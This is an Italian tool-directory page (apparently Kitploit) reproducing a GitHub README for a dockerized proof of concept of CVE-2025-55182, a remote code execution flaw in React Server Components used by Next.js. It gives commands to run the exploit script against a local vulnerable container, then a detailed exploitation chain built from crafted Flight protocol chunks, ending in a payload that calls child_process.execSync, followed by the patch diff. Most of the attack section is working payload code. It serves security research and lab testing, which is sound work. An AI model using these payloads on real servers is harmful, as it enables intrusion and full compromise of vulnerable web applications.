Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-55182-Dockerized — Proof-of-concept dockerizzato per CVE-2025-55182, una RCE critica in React Server Components tramite prototype pollution, con script di exploit automatizzati e un ambiente di test Next.js vulnerabile. | Kitploit
Strumenti/GitHubGitHub/clevernyyyy/cve-2025-55182-dockerized
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebApprendimento e FormazioneSviluppo PayloadLab e Pratica
GitHubclevernyyyy/cve-2025-55182-dockerized

CVE-2025-55182-Dockerized

Proof-of-concept dockerizzato per CVE-2025-55182, una RCE critica in React Server Components tramite prototype pollution, con script di exploit automatizzati e un ambiente di test Next.js vulnerabile.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
15 mesi faNon ancora revisionato

CVE-2025-55182 - Prova di Concetto Dockerizzata

Questo repository contiene una prova di concetto dockerizzata per CVE-2025-55182, una vulnerabilità critica di esecuzione di codice remoto nei React Server Components (RSC) che colpisce le applicazioni Next.js che utilizzano Server Actions.

Crediti

La prova di concetto originale e l'analisi della vulnerabilità sono state create da msanft. Questo repository estende il suo lavoro fornendo un ambiente di test dockerizzato per test e dimostrazioni più semplici.

Avvio Rapido

Prerequisiti

  • Docker installato e in esecuzione
  • Python 3 con libreria requests (pip install requests)

Esecuzione dell'Exploit

  1. Avvia il server Next.js vulnerabile:

    root@kitploit:~
    docker compose up --build -d
    
  2. Attendi l'avvio del server (controlla i log con docker compose logs -f nextjs-server)

  3. Esegui l'exploit:

    root@kitploit:~
    # Script automatizzato (consigliato)
    ./exploit-docker.sh
    
    # Oppure manualmente
    ACTION_ID=$(curl -s http://localhost:3000 | grep -o '[a-f0-9]\{40\}' | head -1)
    python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"
    
  4. Verifica che l'exploit abbia funzionato:

    root@kitploit:~
    docker compose exec nextjs-server ls -la /tmp/rce_test
    

Comandi di Esempio

root@kitploit:~
# Crea un file
python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"

# Scrivi in un file
python3 poc.py http://localhost:3000 "$ACTION_ID" "echo 'RCE_SUCCESS' > /tmp/rce_output"

# Controlla l'utente corrente
python3 poc.py http://localhost:3000 "$ACTION_ID" "whoami > /tmp/rce_user"

# Verifica i risultati
docker compose exec nextjs-server cat /tmp/rce_output
docker compose exec nextjs-server cat /tmp/rce_user

Note Importanti

  • ⚠️ Gli errori di timeout sono PREVISTI - indicano che l'RCE è stato eseguito con successo
  • Il server si blocca dopo l'esecuzione del comando, causando il timeout HTTP
  • I comandi vengono eseguiti come utente nextjs (UID 1001) all'interno del contenitore
  • I file vengono creati all'interno del filesystem del contenitore, non sull'host

Configurazione Docker

Questo repository include una configurazione Docker completa per testare la vulnerabilità:

  • docker-compose.yml - Configurazione Docker Compose
  • test-server/ - Applicazione Next.js vulnerabile
  • test-server/Dockerfile - Dockerfile di produzione
  • test-server/Dockerfile.dev - Dockerfile di sviluppo (opzionale)

Il server vulnerabile esegue Next.js 16.0.6 con una semplice Server Action che può essere sfruttata.

File

  • poc.py - Script Python di prova di concetto (originale di msanft, con correzioni per escaping delle virgolette)
  • exploit-docker.sh - Script di exploit automatizzato per ambiente Docker
  • DOCKER_SETUP.md - Documentazione completa sulla configurazione Docker

Pulizia

root@kitploit:~
# Arresta il contenitore
docker compose down

# Rimuovi tutto (compresi i volumi)
docker compose down -v

Analisi Originale della Vulnerabilità

L'analisi dettagliata della vulnerabilità, la catena di sfruttamento e le informazioni sulla patch provenienti dalla ricerca originale sono fornite di seguito.


Ricerca Originale di msanft

Questa vulnerabilità consente l'esecuzione di codice remoto nelle React Server Functions, ad esempio come offerto da Next.js tramite riferimenti prototipo non sicuri.

Non sono un esperto di React o Next.js, quindi prendi tutte le informazioni qui con le pinze. Inoltre, sono ancora in fase di analisi, quindi ciò che descrivo di seguito come "la vulnerabilità" potrebbe essere solo una piccola parte dell'intera catena.

Contesto

React offre le Server Functions1, che possono essere viste come una sorta di RPC su HTTP. Possono essere utilizzate per recuperare dati da peer adiacenti per garantire bassa latenza, o eseguire richieste autenticate per le quali il client non ha credenziali.

React utilizza qualcosa chiamato React Flight Protocol2 per la serializzazione dei valori passati alle Server Functions.

Il client passa "chunk" al server, ad esempio tramite form data:

root@kitploit:~
files = {
    "0": (None, '["$1"]'),
    "1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
    "2": (None, '{"fruitName":"cherry"}'),
}

Come mostrato, questi possono avere riferimenti tra di loro. Il payload sopra viene deserializzato sul server in:

root@kitploit:~
{ object: 'fruit', name: 'cherry' }

Il formato stesso è un po' più complesso e consente serializzazioni e deserializzazioni più complesse, ma questo fornisce una comprensione di base per la vulnerabilità effettiva.

Vulnerabilità

Fino a questo commit3, durante l'attraversamento dei chunk nella risoluzione dei riferimenti, come ottenere fruitName dal chunk 2 nell'esempio sopra, React non verificava se la chiave richiesta fosse effettivamente impostata sull'oggetto. Questo ci permetteva di ottenere il prototipo dell'oggetto4.

Ciò può essere dimostrato con un payload come questo:

root@kitploit:~
files = {
    "0": (None, '["$1:__proto__:constructor:constructor"]'),
    "1": (None, '{"x":1}'),
}

Che viene deserializzato nel costruttore di funzioni5:

root@kitploit:~
[Function: Function]

Quando il chunk con ID 0 non è un array ma un oggetto, possiamo impostare la chiave then sul costruttore di funzioni. L'oggetto viene quindi restituito dalla funzione decodeReplyFromBusboy e atteso da Next.js:

root@kitploit:~
// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
    busboy,
    serverModuleMap,
    { temporaryReferences }
)

Quando questo restituisce un thenable, await nel chiamante lo richiamerà. Questo è ciò che accade con questo payload:

root@kitploit:~
files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}

Portando a questo errore:

root@kitploit:~
SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>) {
      digest: '1259793845'
    }

L'errore appare così perché V8 chiama una funzione awaitata con le funzioni interne resolve e reject, che, quando convertite in stringa, serializzano in qualcosa come:

root@kitploit:~
function () { [native code] }

Sfruttamento

Poiché possiamo ottenere trivialmente il costruttore Function, il modo più diretto è trovare un gadget di chiamata che invochi il costruttore con un valore controllato dall'utente (cioè il codice della funzione come stringa) e successivamente chiami la funzione restituita.

Ci sono diversi posti che possono chiamare il costruttore di funzioni, ad esempio resolveServerReference, dove id è un oggetto controllato, e lastIndexOf può essere sovrascritto per restituire una stringa controllata dall'utente (es. tramite Array.prototype.join) e slice può essere sovrascritto al costruttore di funzioni. Tuttavia, questo posto non funziona poiché la seconda invocazione di .slice() fornisce un numero come primo argomento, che - per quanto ne so - non può mai essere gestito dal costruttore di funzioni.

Qui arriva un'idea brillante di maple31426. Quando getChunk prende il chunk con ID 0 come riferimento radice per iniziare a risolvere la catena di riferimenti, questo stesso chunk può risolversi in un "falso chunk" creato appositamente.

Possiamo fare riferimento al chunk creato 0 nel chunk 1 usando la sintassi $@, che restituisce il chunk "grezzo", non il suo valore risolto:

root@kitploit:~
case "@":
  return (
    (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
  );

Combinando questo con la nostra sovrascrittura di then di cui sopra, possiamo creare qualcosa come:

root@kitploit:~
files = {
    "0": (None, '{"then": "$1:__proto__:then"}'),
    "1": (None, '"$@0"'),
}

Qui, il chunk 0 sovrascrive il proprio .then() con il .then() della propria rappresentazione di chunk grezzo. In parole semplici, sovrascriviamo il nostro .then() con Chunk.prototype.then, che esiste, poiché i Chunk sono thenable:

root@kitploit:~
Chunk.prototype.then = function (resolve, reject) {
      switch (this.status) {
        case "resolved_model":
          initializeModelChunk(this);
      }
      // ...

Con il payload sopra, Chunk.prototype.then viene infine chiamato con il chunk creato con ID 0.

Come mostrato sopra, quando .status sul nostro falso chunk è resolved_model:

root@kitploit:~
files = {
    "0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
    "1": (None, '"$@0"'),
}

Entriamo in initializeModelChunk. Qui, .value viene analizzato come JSON, e poi i riferimenti vengono risolti sull'oggetto restituito, utilizzando il contesto "esterno" dei nostri chunk con ID 0 e 1:

root@kitploit:~
function initializeModelChunk(chunk) {
    // ...
    var rawModel = JSON.parse(resolvedModel),
        value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
    // ...

All'interno di questo, ora otteniamo un secondo passaggio di valutazione con alcuni valori aggiuntivi a cui abbiamo accesso grazie al contesto esterno già risolto.

C'è un gadget di chiamata nella gestione dei dati blob con il prefisso $B nel protocollo Flight:

root@kitploit:~
case "B":
  return (
    (obj = parseInt(value.slice(2), 16)),
    response._formData.get(response._prefix + obj)
  );

Utilizzando il campo speciale _response, controlliamo la proprietà response del chunk creato:

root@kitploit:~
// in initializeModelChunk
value = reviveModel(chunk._response, // ...

Con questo, possiamo creare un oggetto con proprietà ._formData e ._prefix fittizie:

root@kitploit:~
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"return foo; // ",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

La proprietà .reason deve essere aggiunta per evitare il fallimento nell'invocazione di toString in initializeModelChunk:

root@kitploit:~
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;

Puntando ._formData al costruttore di funzioni e ._prefix al nostro codice, otteniamo un gadget di invocazione per il costruttore di funzioni nella deserializzazione dei blob:

root@kitploit:~
response._formData.get(response._prefix + "0")
// diventa
Function("return foo; // 0")

La nostra funzione creata viene quindi restituita da parseModelString come metodo .then() del chunk creato, che viene anch'esso atteso, poiché tutto ciò avviene in un'unica catena di promesse risolte. Pertanto, restituendo un thenable, la nostra funzione creata viene chiamata. Questo costituisce il gadget di chiamata richiesto sopra.

Mettendo tutto insieme con un payload RCE effettivo, otteniamo qualcosa come:

root@kitploit:~
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    # "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"process.mainModule.require('child_process').execSync('calc');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

Patch

L'uso dei riferimenti ai chunk per ottenere proprietà del prototipo è stato corretto con questo controllo:

root@kitploit:~
@@ -78,7 +80,10 @@ export function preloadModule<T>(
 
 export function requireModule<T>(metadata: ClientReference<T>): T {
   const moduleExports = parcelRequire(metadata[ID]);
-  return moduleExports[metadata[NAME]];
+  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+    return moduleExports[metadata[NAME]];
+  }
+  return (undefined: any);
 }

Domande in sospeso

  • Perché l'avviso di React7 menziona che questa vulnerabilità potrebbe essere innescata anche senza dichiarare attivamente le server functions? Ci sono altre cose che si trasformano in server functions sotto il cofano?

Footnotes

  1. https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/HEAD/%3Chttps:/react.dev/reference/rsc/server-functions%3E ↩

  2. https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/HEAD/%3Chttps:/tonyalicea.dev/blog/understanding-react-server-components/%3E ↩

  3. https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/HEAD/%3Chttps:/github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d%3E ↩

  4. https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Advanced_JavaScript_objects/Object_prototypes%3E ↩

  5. https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function%3E ↩

Scarica lo strumento

https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/HEAD/%3Chttps:/x.com/maple3142%3E ↩

  • https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/HEAD/%3Chttps:/react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components%3E ↩